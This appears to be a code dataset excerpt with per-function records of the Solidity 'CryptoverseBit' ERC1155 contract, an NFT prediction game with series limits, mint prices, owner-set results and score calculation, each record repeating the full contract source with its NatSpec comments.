* @param uriBase uri base
*/
function setUriBase(string memory uriBase) public onlyOwner {
_setURI(uriBase);
}
/**
* Return uri.
*
* @param tokenId token id
* @return token url
*/
function uri(uint256 tokenId) public override view returns (string memory) {
return strConcat(
super.uri(tokenId),
Strings.toString(tokenId)
);
}
/**
* Sets series limit.
*
* @param series series name
* @param limit limit of the tokens that can be under this series
* @param mintPrice price to mint the token
*/
function setSeries(string memory series, uint256 limit, uint256 mintPrice) public onlyOwner {
require(bytes(series).length > bytes("").length, "series cannot be empty string");
_seriesLimits[series] = limit;
_seriesMintPrices[series] = mintPrice;
emit SeriesSet(msg.sender, series, limit, mintPrice);
}
/**
* Returns the series limit.
*
* @param series series name
* @return series limit
*/
function seriesLimit(string memory series) public view returns (uint256) {
return _seriesLimits[series];
}
/**
* Returns the series mint prices.
*
* @param series series name
* @return series mint price
*/
function seriesMintPrice(string memory series) public view returns (uint256) {
return _seriesMintPrices[series];
}
/**
* Returns the number of mints for series.
*
* @param series series name
* @return number of mints already done withing the series
*/
function seriesMints(string memory series) public view returns (uint256) {
return _seriesMints[series];
}
/**
* Mints the token with predictions. This method will produce the logs so the user can find out the tokenId once transaction is written to the chain.
*
* @param series series name
* @param nickname space for user to put the identifier
* @param predict_1 prediction 1
* @param predict_2 prediction 2
* @param predict_3 prediction 3
* @param predict_4 prediction 4
* @param predict_5 prediction 5
* @param predict_6 prediction 6
*
*/
function mint(string memory series, string memory nickname, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6)
public payable
{
require(_seriesMints[series] < _seriesLimits[series], "Series limit has been reached");
require(msg.value == _seriesMintPrices[series], "ETH value does not match the series mint price");
bytes memory b = new bytes(0);
_mint(msg.sender, _numTokens, 1, b);
uint64 luck = generateLuckyNum(_numTokens, _numDecimals);
uint256 seriesNumber = _seriesMints[series] + 1;
_predictions[_numTokens] = Prediction(block.timestamp, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
emit PredictionMinted(msg.sender, _numTokens, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
_numTokens = _numTokens + 1;
_seriesMints[series] = seriesNumber;
}
/**
*
* Sets the result for the given token.
*
* @param tokenId token id
* @param result_0 the actual value at the time of when prediction had been written to the chain
* @param result_1 the actual value to the prediction_1
* @param result_2 the actual value to the prediction_2
* @param result_3 the actual value to the prediction_3
* @param result_4 the actual value to the prediction_4
* @param result_5 the actual value to the prediction_5
* @param result_6 the actual value to the prediction_6
*/
function setResult(uint256 tokenId, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6)
public onlyOwner
{
require(bytes(_predictions[tokenId].series).length > bytes("").length, "prediction must be minted before result can be set");
_results[tokenId] = Result(result_0, result_1, result_2, result_3, result_4, result_5, result_6);
emit ResultSet(msg.sender, tokenId, _predictions[tokenId].series, result_0, result_1, result_2, result_3, result_4, result_5, result_6);
}
/**
* Returns the prediction data under the specified token.
*
* @param tokenId token id
* @return prediction data for the given token
*/
function prediction(uint256 tokenId) public view returns (Prediction memory) {
return _predictions[tokenId];
}
/**
* Returns the result data under the specified token.
*
* @param tokenId token id
* @return result data for the given token
*/
function result(uint256 tokenId) public view returns (ScoredResult memory) {
uint64 score_1 = calculateScore(_predictions[tokenId].predict_1, _results[tokenId].result_1, _numDecimals);
uint64 score_2 = calculateScore(_predictions[tokenId].predict_2, _results[tokenId].result_2, _numDecimals);
uint64 score_3 = calculateScore(_predictions[tokenId].predict_3, _results[tokenId].result_3, _numDecimals);
uint64 score_4 = calculateScore(_predictions[tokenId].predict_4, _results[tokenId].result_4, _numDecimals);
uint64 score_5 = calculateScore(_predictions[tokenId].predict_5, _results[tokenId].result_5, _numDecimals);
uint64 score_6 = calculateScore(_predictions[tokenId].predict_6, _results[tokenId].result_6, _numDecimals);
uint64 totalScore = calculateTotalScore(score_1, score_2, score_3, score_4, score_5, score_6);
return ScoredResult(totalScore, _results[tokenId].result_0,
_results[tokenId].result_1, score_1,
_results[tokenId].result_2, score_2,
_results[tokenId].result_3, score_3,
_results[tokenId].result_4, score_4,
_results[tokenId].result_5, score_5,
_results[tokenId].result_6, score_6);
}
/**
* Returns balance of this contract.
*
* @return contract balance
*/
function balance() public view returns (uint256) {
return address(this).balance;
}
/**
* Withdraws the balance.
*/
function withdraw() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
/**
* Generates lucky number. This is a pseudo random number. This is 0-100% (bounds included), with the given number of decimals.
*
* @param seed seed number
* @param nd number of decimal points to work with
* @return generated number
*/
function generateLuckyNum(uint256 seed, uint8 nd) internal pure returns (uint64) {
uint256 fact = (100 * (10**nd)) + 1;
uint256 kc = uint256(keccak256(abi.encodePacked(seed)));
uint256 rn = kc % fact;
return uint64(rn);
}
/**
* Calculates score from prediction and results.
*
* @param pred preduction
* @param res the actual value
* @param nd number of decimal points
* @return calculated score as 0-100% witgh decimals
*/
function calculateScore(uint64 pred, uint64 res, uint8 nd) internal pure returns (uint64) {
if (pred == 0 && res == 0) {
return 0;
}
uint256 fact = 10**nd;
if (pred >= res) {
uint256 p2 = pred;
uint256 r2 = 100 * res * fact;
uint256 r = r2 / p2;
return uint64(r);
}
else {
uint256 p2 = 100 * pred * fact;
uint256 r2 = res;
uint256 r = p2 / r2;
return uint64(r);
}
}
/**
* Calculates total score from the 6 scores.
*
* @param s1 score 1
* @param s2 score 2
* @param s3 score 3
* @param s4 score 4
* @param s5 score 5
* @param s6 score 6
* @return total score as a weigted average
*/
function calculateTotalScore(uint64 s1, uint64 s2, uint64 s3, uint64 s4, uint64 s5, uint64 s6) internal pure returns (uint64) {
uint256 s1a = s1 * 11;
uint256 s2a = s2 * 12;
uint256 s3a = s3 * 13;
uint256 s4a = s4 * 14;
uint256 s5a = s5 * 15;
uint256 s6a = s6 * 16;
uint256 res = (s1a + s2a + s3a + s4a + s5a + s6a) / 81;
return uint64(res);
}
/**
* Concatenates strings.
*
* @param a string a
* @param b string b
* @return concatenateds string
*/
function strConcat(string memory a, string memory b) internal pure returns (string memory) {
bytes memory ba = bytes(a);
bytes memory bb = bytes(b);
string memory ab = new string(ba.length + bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < ba.length; i++) bab[k++] = ba[i];
for (uint i = 0; i < bb.length; i++) bab[k++] = bb[i];
return string(bab);
}
} | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | prediction | function prediction(uint256 tokenId) public view returns (Prediction memory) {
return _predictions[tokenId];
}
| /**
* Returns the prediction data under the specified token.
*
* @param tokenId token id
* @return prediction data for the given token
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
8101,
8227
]
} | 11,209 |
||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6);
/**
* Emitted when result is submitted to the chain.
*/
event ResultSet(address indexed operator, uint256 tokenId, string series, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6);
/**
* Emitted when series is set.
*/
event SeriesSet(address indexed operator, string series, uint256 limit, uint256 mintPrice);
/**
* Prediction structure.
*/
struct Prediction {
uint256 timestamp;
string series;
uint256 seriesNumber;
string nickname;
uint64 lucky;
uint64 predict_1;
uint64 predict_2;
uint64 predict_3;
uint64 predict_4;
uint64 predict_5;
uint64 predict_6;
}
/**
* Result structure.
*/
struct Result {
uint64 result_0;
uint64 result_1;
uint64 result_2;
uint64 result_3;
uint64 result_4;
uint64 result_5;
uint64 result_6;
}
/**
* Result with score structure.
*/
struct ScoredResult {
uint64 totalScore;
uint64 result_0;
uint64 result_1;
uint64 score_1;
uint64 result_2;
uint64 score_2;
uint64 result_3;
uint64 score_3;
uint64 result_4;
uint64 score_4;
uint64 result_5;
uint64 score_5;
uint64 result_6;
uint64 score_6;
}
/**
* Name for contract identification.
*/
string private _name;
/**
* Number of decimals.
*/
uint8 private _numDecimals;
/**
* Total number of tokens minted so far.
*/
uint256 private _numTokens;
/**
* Mapping from token ID to predictions.
*/
mapping(uint256 => Prediction) private _predictions;
/**
* Mapping from token ID to results.
*/
mapping(uint256 => Result) private _results;
/**
* Mapping from series to the maximum amounts that can be minted.
*/
mapping(string => uint256) private _seriesLimits;
/**
* Mapping from series to the mint prices.
*/
mapping(string => uint256) private _seriesMintPrices;
/**
* Mapping from series to the number of so far minted tokens.
*/
mapping(string => uint256) private _seriesMints;
/**
* Creates new instance.
*
* @param name_ contract name
* @param numDecimals_ number of decimals this contract operates with
*/
constructor(string memory name_, uint8 numDecimals_) ERC1155("") {
_name = name_;
_numDecimals = numDecimals_;
}
/**
* Returns the contract name.
*
* @return contract name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* Returns the number of decimal places this contract work with.
*
* @return number of decimal points this contract work with
*/
function numDecimals() public view returns (uint8) {
return _numDecimals;
}
/**
* Sets uri base.
*
* @param uriBase uri base
*/
function setUriBase(string memory uriBase) public onlyOwner {
_setURI(uriBase);
}
/**
* Return uri.
*
* @param tokenId token id
* @return token url
*/
function uri(uint256 tokenId) public override view returns (string memory) {
return strConcat(
super.uri(tokenId),
Strings.toString(tokenId)
);
}
/**
* Sets series limit.
*
* @param series series name
* @param limit limit of the tokens that can be under this series
* @param mintPrice price to mint the token
*/
function setSeries(string memory series, uint256 limit, uint256 mintPrice) public onlyOwner {
require(bytes(series).length > bytes("").length, "series cannot be empty string");
_seriesLimits[series] = limit;
_seriesMintPrices[series] = mintPrice;
emit SeriesSet(msg.sender, series, limit, mintPrice);
}
/**
* Returns the series limit.
*
* @param series series name
* @return series limit
*/
function seriesLimit(string memory series) public view returns (uint256) {
return _seriesLimits[series];
}
/**
* Returns the series mint prices.
*
* @param series series name
* @return series mint price
*/
function seriesMintPrice(string memory series) public view returns (uint256) {
return _seriesMintPrices[series];
}
/**
* Returns the number of mints for series.
*
* @param series series name
* @return number of mints already done withing the series
*/
function seriesMints(string memory series) public view returns (uint256) {
return _seriesMints[series];
}
/**
* Mints the token with predictions. This method will produce the logs so the user can find out the tokenId once transaction is written to the chain.
*
* @param series series name
* @param nickname space for user to put the identifier
* @param predict_1 prediction 1
* @param predict_2 prediction 2
* @param predict_3 prediction 3
* @param predict_4 prediction 4
* @param predict_5 prediction 5
* @param predict_6 prediction 6
*
*/
function mint(string memory series, string memory nickname, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6)
public payable
{
require(_seriesMints[series] < _seriesLimits[series], "Series limit has been reached");
require(msg.value == _seriesMintPrices[series], "ETH value does not match the series mint price");
bytes memory b = new bytes(0);
_mint(msg.sender, _numTokens, 1, b);
uint64 luck = generateLuckyNum(_numTokens, _numDecimals);
uint256 seriesNumber = _seriesMints[series] + 1;
_predictions[_numTokens] = Prediction(block.timestamp, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
emit PredictionMinted(msg.sender, _numTokens, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
_numTokens = _numTokens + 1;
_seriesMints[series] = seriesNumber;
}
/**
*
* Sets the result for the given token.
*
* @param tokenId token id
* @param result_0 the actual value at the time of when prediction had been written to the chain
* @param result_1 the actual value to the prediction_1
* @param result_2 the actual value to the prediction_2
* @param result_3 the actual value to the prediction_3
* @param result_4 the actual value to the prediction_4
* @param result_5 the actual value to the prediction_5
* @param result_6 the actual value to the prediction_6
*/
function setResult(uint256 tokenId, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6)
public onlyOwner
{
require(bytes(_predictions[tokenId].series).length > bytes("").length, "prediction must be minted before result can be set");
_results[tokenId] = Result(result_0, result_1, result_2, result_3, result_4, result_5, result_6);
emit ResultSet(msg.sender, tokenId, _predictions[tokenId].series, result_0, result_1, result_2, result_3, result_4, result_5, result_6);
}
/**
* Returns the prediction data under the specified token.
*
* @param tokenId token id
* @return prediction data for the given token
*/
function prediction(uint256 tokenId) public view returns (Prediction memory) {
return _predictions[tokenId];
}
/**
* Returns the result data under the specified token.
*
* @param tokenId token id
* @return result data for the given token
*/
function result(uint256 tokenId) public view returns (ScoredResult memory) {
uint64 score_1 = calculateScore(_predictions[tokenId].predict_1, _results[tokenId].result_1, _numDecimals);
uint64 score_2 = calculateScore(_predictions[tokenId].predict_2, _results[tokenId].result_2, _numDecimals);
uint64 score_3 = calculateScore(_predictions[tokenId].predict_3, _results[tokenId].result_3, _numDecimals);
uint64 score_4 = calculateScore(_predictions[tokenId].predict_4, _results[tokenId].result_4, _numDecimals);
uint64 score_5 = calculateScore(_predictions[tokenId].predict_5, _results[tokenId].result_5, _numDecimals);
uint64 score_6 = calculateScore(_predictions[tokenId].predict_6, _results[tokenId].result_6, _numDecimals);
uint64 totalScore = calculateTotalScore(score_1, score_2, score_3, score_4, score_5, score_6);
return ScoredResult(totalScore, _results[tokenId].result_0,
_results[tokenId].result_1, score_1,
_results[tokenId].result_2, score_2,
_results[tokenId].result_3, score_3,
_results[tokenId].result_4, score_4,
_results[tokenId].result_5, score_5,
_results[tokenId].result_6, score_6);
}
/**
* Returns balance of this contract.
*
* @return contract balance
*/
function balance() public view returns (uint256) {
return address(this).balance;
}
/**
* Withdraws the balance.
*/
function withdraw() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
/**
* Generates lucky number. This is a pseudo random number. This is 0-100% (bounds included), with the given number of decimals.
*
* @param seed seed number
* @param nd number of decimal points to work with
* @return generated number
*/
function generateLuckyNum(uint256 seed, uint8 nd) internal pure returns (uint64) {
uint256 fact = (100 * (10**nd)) + 1;
uint256 kc = uint256(keccak256(abi.encodePacked(seed)));
uint256 rn = kc % fact;
return uint64(rn);
}
/**
* Calculates score from prediction and results.
*
* @param pred preduction
* @param res the actual value
* @param nd number of decimal points
* @return calculated score as 0-100% witgh decimals
*/
function calculateScore(uint64 pred, uint64 res, uint8 nd) internal pure returns (uint64) {
if (pred == 0 && res == 0) {
return 0;
}
uint256 fact = 10**nd;
if (pred >= res) {
uint256 p2 = pred;
uint256 r2 = 100 * res * fact;
uint256 r = r2 / p2;
return uint64(r);
}
else {
uint256 p2 = 100 * pred * fact;
uint256 r2 = res;
uint256 r = p2 / r2;
return uint64(r);
}
}
/**
* Calculates total score from the 6 scores.
*
* @param s1 score 1
* @param s2 score 2
* @param s3 score 3
* @param s4 score 4
* @param s5 score 5
* @param s6 score 6
* @return total score as a weigted average
*/
function calculateTotalScore(uint64 s1, uint64 s2, uint64 s3, uint64 s4, uint64 s5, uint64 s6) internal pure returns (uint64) {
uint256 s1a = s1 * 11;
uint256 s2a = s2 * 12;
uint256 s3a = s3 * 13;
uint256 s4a = s4 * 14;
uint256 s5a = s5 * 15;
uint256 s6a = s6 * 16;
uint256 res = (s1a + s2a + s3a + s4a + s5a + s6a) / 81;
return uint64(res);
}
/**
* Concatenates strings.
*
* @param a string a
* @param b string b
* @return concatenateds string
*/
function strConcat(string memory a, string memory b) internal pure returns (string memory) {
bytes memory ba = bytes(a);
bytes memory bb = bytes(b);
string memory ab = new string(ba.length + bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < ba.length; i++) bab[k++] = ba[i];
for (uint i = 0; i < bb.length; i++) bab[k++] = bb[i];
return string(bab);
}
} | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | result | function result(uint256 tokenId) public view returns (ScoredResult memory) {
uint64 score_1 = calculateScore(_predictions[tokenId].predict_1, _results[tokenId].result_1, _numDecimals);
uint64 score_2 = calculateScore(_predictions[tokenId].predict_2, _results[tokenId].result_2, _numDecimals);
uint64 score_3 = calculateScore(_predictions[tokenId].predict_3, _results[tokenId].result_3, _numDecimals);
uint64 score_4 = calculateScore(_predictions[tokenId].predict_4, _results[tokenId].result_4, _numDecimals);
uint64 score_5 = calculateScore(_predictions[tokenId].predict_5, _results[tokenId].result_5, _numDecimals);
uint64 score_6 = calculateScore(_predictions[tokenId].predict_6, _results[tokenId].result_6, _numDecimals);
uint64 totalScore = calculateTotalScore(score_1, score_2, score_3, score_4, score_5, score_6);
return ScoredResult(totalScore, _results[tokenId].result_0,
_results[tokenId].result_1, score_1,
_results[tokenId].result_2, score_2,
_results[tokenId].result_3, score_3,
_results[tokenId].result_4, score_4,
_results[tokenId].result_5, score_5,
_results[tokenId].result_6, score_6);
}
| /**
* Returns the result data under the specified token.
*
* @param tokenId token id
* @return result data for the given token
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
8388,
9637
]
} | 11,210 |
||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6);
/**
* Emitted when result is submitted to the chain.
*/
event ResultSet(address indexed operator, uint256 tokenId, string series, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6);
/**
* Emitted when series is set.
*/
event SeriesSet(address indexed operator, string series, uint256 limit, uint256 mintPrice);
/**
* Prediction structure.
*/
struct Prediction {
uint256 timestamp;
string series;
uint256 seriesNumber;
string nickname;
uint64 lucky;
uint64 predict_1;
uint64 predict_2;
uint64 predict_3;
uint64 predict_4;
uint64 predict_5;
uint64 predict_6;
}
/**
* Result structure.
*/
struct Result {
uint64 result_0;
uint64 result_1;
uint64 result_2;
uint64 result_3;
uint64 result_4;
uint64 result_5;
uint64 result_6;
}
/**
* Result with score structure.
*/
struct ScoredResult {
uint64 totalScore;
uint64 result_0;
uint64 result_1;
uint64 score_1;
uint64 result_2;
uint64 score_2;
uint64 result_3;
uint64 score_3;
uint64 result_4;
uint64 score_4;
uint64 result_5;
uint64 score_5;
uint64 result_6;
uint64 score_6;
}
/**
* Name for contract identification.
*/
string private _name;
/**
* Number of decimals.
*/
uint8 private _numDecimals;
/**
* Total number of tokens minted so far.
*/
uint256 private _numTokens;
/**
* Mapping from token ID to predictions.
*/
mapping(uint256 => Prediction) private _predictions;
/**
* Mapping from token ID to results.
*/
mapping(uint256 => Result) private _results;
/**
* Mapping from series to the maximum amounts that can be minted.
*/
mapping(string => uint256) private _seriesLimits;
/**
* Mapping from series to the mint prices.
*/
mapping(string => uint256) private _seriesMintPrices;
/**
* Mapping from series to the number of so far minted tokens.
*/
mapping(string => uint256) private _seriesMints;
/**
* Creates new instance.
*
* @param name_ contract name
* @param numDecimals_ number of decimals this contract operates with
*/
constructor(string memory name_, uint8 numDecimals_) ERC1155("") {
_name = name_;
_numDecimals = numDecimals_;
}
/**
* Returns the contract name.
*
* @return contract name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* Returns the number of decimal places this contract work with.
*
* @return number of decimal points this contract work with
*/
function numDecimals() public view returns (uint8) {
return _numDecimals;
}
/**
* Sets uri base.
*
* @param uriBase uri base
*/
function setUriBase(string memory uriBase) public onlyOwner {
_setURI(uriBase);
}
/**
* Return uri.
*
* @param tokenId token id
* @return token url
*/
function uri(uint256 tokenId) public override view returns (string memory) {
return strConcat(
super.uri(tokenId),
Strings.toString(tokenId)
);
}
/**
* Sets series limit.
*
* @param series series name
* @param limit limit of the tokens that can be under this series
* @param mintPrice price to mint the token
*/
function setSeries(string memory series, uint256 limit, uint256 mintPrice) public onlyOwner {
require(bytes(series).length > bytes("").length, "series cannot be empty string");
_seriesLimits[series] = limit;
_seriesMintPrices[series] = mintPrice;
emit SeriesSet(msg.sender, series, limit, mintPrice);
}
/**
* Returns the series limit.
*
* @param series series name
* @return series limit
*/
function seriesLimit(string memory series) public view returns (uint256) {
return _seriesLimits[series];
}
/**
* Returns the series mint prices.
*
* @param series series name
* @return series mint price
*/
function seriesMintPrice(string memory series) public view returns (uint256) {
return _seriesMintPrices[series];
}
/**
* Returns the number of mints for series.
*
* @param series series name
* @return number of mints already done withing the series
*/
function seriesMints(string memory series) public view returns (uint256) {
return _seriesMints[series];
}
/**
* Mints the token with predictions. This method will produce the logs so the user can find out the tokenId once transaction is written to the chain.
*
* @param series series name
* @param nickname space for user to put the identifier
* @param predict_1 prediction 1
* @param predict_2 prediction 2
* @param predict_3 prediction 3
* @param predict_4 prediction 4
* @param predict_5 prediction 5
* @param predict_6 prediction 6
*
*/
function mint(string memory series, string memory nickname, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6)
public payable
{
require(_seriesMints[series] < _seriesLimits[series], "Series limit has been reached");
require(msg.value == _seriesMintPrices[series], "ETH value does not match the series mint price");
bytes memory b = new bytes(0);
_mint(msg.sender, _numTokens, 1, b);
uint64 luck = generateLuckyNum(_numTokens, _numDecimals);
uint256 seriesNumber = _seriesMints[series] + 1;
_predictions[_numTokens] = Prediction(block.timestamp, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
emit PredictionMinted(msg.sender, _numTokens, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
_numTokens = _numTokens + 1;
_seriesMints[series] = seriesNumber;
}
/**
*
* Sets the result for the given token.
*
* @param tokenId token id
* @param result_0 the actual value at the time of when prediction had been written to the chain
* @param result_1 the actual value to the prediction_1
* @param result_2 the actual value to the prediction_2
* @param result_3 the actual value to the prediction_3
* @param result_4 the actual value to the prediction_4
* @param result_5 the actual value to the prediction_5
* @param result_6 the actual value to the prediction_6
*/
function setResult(uint256 tokenId, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6)
public onlyOwner
{
require(bytes(_predictions[tokenId].series).length > bytes("").length, "prediction must be minted before result can be set");
_results[tokenId] = Result(result_0, result_1, result_2, result_3, result_4, result_5, result_6);
emit ResultSet(msg.sender, tokenId, _predictions[tokenId].series, result_0, result_1, result_2, result_3, result_4, result_5, result_6);
}
/**
* Returns the prediction data under the specified token.
*
* @param tokenId token id
* @return prediction data for the given token
*/
function prediction(uint256 tokenId) public view returns (Prediction memory) {
return _predictions[tokenId];
}
/**
* Returns the result data under the specified token.
*
* @param tokenId token id
* @return result data for the given token
*/
function result(uint256 tokenId) public view returns (ScoredResult memory) {
uint64 score_1 = calculateScore(_predictions[tokenId].predict_1, _results[tokenId].result_1, _numDecimals);
uint64 score_2 = calculateScore(_predictions[tokenId].predict_2, _results[tokenId].result_2, _numDecimals);
uint64 score_3 = calculateScore(_predictions[tokenId].predict_3, _results[tokenId].result_3, _numDecimals);
uint64 score_4 = calculateScore(_predictions[tokenId].predict_4, _results[tokenId].result_4, _numDecimals);
uint64 score_5 = calculateScore(_predictions[tokenId].predict_5, _results[tokenId].result_5, _numDecimals);
uint64 score_6 = calculateScore(_predictions[tokenId].predict_6, _results[tokenId].result_6, _numDecimals);
uint64 totalScore = calculateTotalScore(score_1, score_2, score_3, score_4, score_5, score_6);
return ScoredResult(totalScore, _results[tokenId].result_0,
_results[tokenId].result_1, score_1,
_results[tokenId].result_2, score_2,
_results[tokenId].result_3, score_3,
_results[tokenId].result_4, score_4,
_results[tokenId].result_5, score_5,
_results[tokenId].result_6, score_6);
}
/**
* Returns balance of this contract.
*
* @return contract balance
*/
function balance() public view returns (uint256) {
return address(this).balance;
}
/**
* Withdraws the balance.
*/
function withdraw() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
/**
* Generates lucky number. This is a pseudo random number. This is 0-100% (bounds included), with the given number of decimals.
*
* @param seed seed number
* @param nd number of decimal points to work with
* @return generated number
*/
function generateLuckyNum(uint256 seed, uint8 nd) internal pure returns (uint64) {
uint256 fact = (100 * (10**nd)) + 1;
uint256 kc = uint256(keccak256(abi.encodePacked(seed)));
uint256 rn = kc % fact;
return uint64(rn);
}
/**
* Calculates score from prediction and results.
*
* @param pred preduction
* @param res the actual value
* @param nd number of decimal points
* @return calculated score as 0-100% witgh decimals
*/
function calculateScore(uint64 pred, uint64 res, uint8 nd) internal pure returns (uint64) {
if (pred == 0 && res == 0) {
return 0;
}
uint256 fact = 10**nd;
if (pred >= res) {
uint256 p2 = pred;
uint256 r2 = 100 * res * fact;
uint256 r = r2 / p2;
return uint64(r);
}
else {
uint256 p2 = 100 * pred * fact;
uint256 r2 = res;
uint256 r = p2 / r2;
return uint64(r);
}
}
/**
* Calculates total score from the 6 scores.
*
* @param s1 score 1
* @param s2 score 2
* @param s3 score 3
* @param s4 score 4
* @param s5 score 5
* @param s6 score 6
* @return total score as a weigted average
*/
function calculateTotalScore(uint64 s1, uint64 s2, uint64 s3, uint64 s4, uint64 s5, uint64 s6) internal pure returns (uint64) {
uint256 s1a = s1 * 11;
uint256 s2a = s2 * 12;
uint256 s3a = s3 * 13;
uint256 s4a = s4 * 14;
uint256 s5a = s5 * 15;
uint256 s6a = s6 * 16;
uint256 res = (s1a + s2a + s3a + s4a + s5a + s6a) / 81;
return uint64(res);
}
/**
* Concatenates strings.
*
* @param a string a
* @param b string b
* @return concatenateds string
*/
function strConcat(string memory a, string memory b) internal pure returns (string memory) {
bytes memory ba = bytes(a);
bytes memory bb = bytes(b);
string memory ab = new string(ba.length + bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < ba.length; i++) bab[k++] = ba[i];
for (uint i = 0; i < bb.length; i++) bab[k++] = bb[i];
return string(bab);
}
} | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | balance | function balance() public view returns (uint256) {
return address(this).balance;
}
| /**
* Returns balance of this contract.
*
* @return contract balance
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
9735,
9833
]
} | 11,211 |
||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6);
/**
* Emitted when result is submitted to the chain.
*/
event ResultSet(address indexed operator, uint256 tokenId, string series, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6);
/**
* Emitted when series is set.
*/
event SeriesSet(address indexed operator, string series, uint256 limit, uint256 mintPrice);
/**
* Prediction structure.
*/
struct Prediction {
uint256 timestamp;
string series;
uint256 seriesNumber;
string nickname;
uint64 lucky;
uint64 predict_1;
uint64 predict_2;
uint64 predict_3;
uint64 predict_4;
uint64 predict_5;
uint64 predict_6;
}
/**
* Result structure.
*/
struct Result {
uint64 result_0;
uint64 result_1;
uint64 result_2;
uint64 result_3;
uint64 result_4;
uint64 result_5;
uint64 result_6;
}
/**
* Result with score structure.
*/
struct ScoredResult {
uint64 totalScore;
uint64 result_0;
uint64 result_1;
uint64 score_1;
uint64 result_2;
uint64 score_2;
uint64 result_3;
uint64 score_3;
uint64 result_4;
uint64 score_4;
uint64 result_5;
uint64 score_5;
uint64 result_6;
uint64 score_6;
}
/**
* Name for contract identification.
*/
string private _name;
/**
* Number of decimals.
*/
uint8 private _numDecimals;
/**
* Total number of tokens minted so far.
*/
uint256 private _numTokens;
/**
* Mapping from token ID to predictions.
*/
mapping(uint256 => Prediction) private _predictions;
/**
* Mapping from token ID to results.
*/
mapping(uint256 => Result) private _results;
/**
* Mapping from series to the maximum amounts that can be minted.
*/
mapping(string => uint256) private _seriesLimits;
/**
* Mapping from series to the mint prices.
*/
mapping(string => uint256) private _seriesMintPrices;
/**
* Mapping from series to the number of so far minted tokens.
*/
mapping(string => uint256) private _seriesMints;
/**
* Creates new instance.
*
* @param name_ contract name
* @param numDecimals_ number of decimals this contract operates with
*/
constructor(string memory name_, uint8 numDecimals_) ERC1155("") {
_name = name_;
_numDecimals = numDecimals_;
}
/**
* Returns the contract name.
*
* @return contract name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* Returns the number of decimal places this contract work with.
*
* @return number of decimal points this contract work with
*/
function numDecimals() public view returns (uint8) {
return _numDecimals;
}
/**
* Sets uri base.
*
* @param uriBase uri base
*/
function setUriBase(string memory uriBase) public onlyOwner {
_setURI(uriBase);
}
/**
* Return uri.
*
* @param tokenId token id
* @return token url
*/
function uri(uint256 tokenId) public override view returns (string memory) {
return strConcat(
super.uri(tokenId),
Strings.toString(tokenId)
);
}
/**
* Sets series limit.
*
* @param series series name
* @param limit limit of the tokens that can be under this series
* @param mintPrice price to mint the token
*/
function setSeries(string memory series, uint256 limit, uint256 mintPrice) public onlyOwner {
require(bytes(series).length > bytes("").length, "series cannot be empty string");
_seriesLimits[series] = limit;
_seriesMintPrices[series] = mintPrice;
emit SeriesSet(msg.sender, series, limit, mintPrice);
}
/**
* Returns the series limit.
*
* @param series series name
* @return series limit
*/
function seriesLimit(string memory series) public view returns (uint256) {
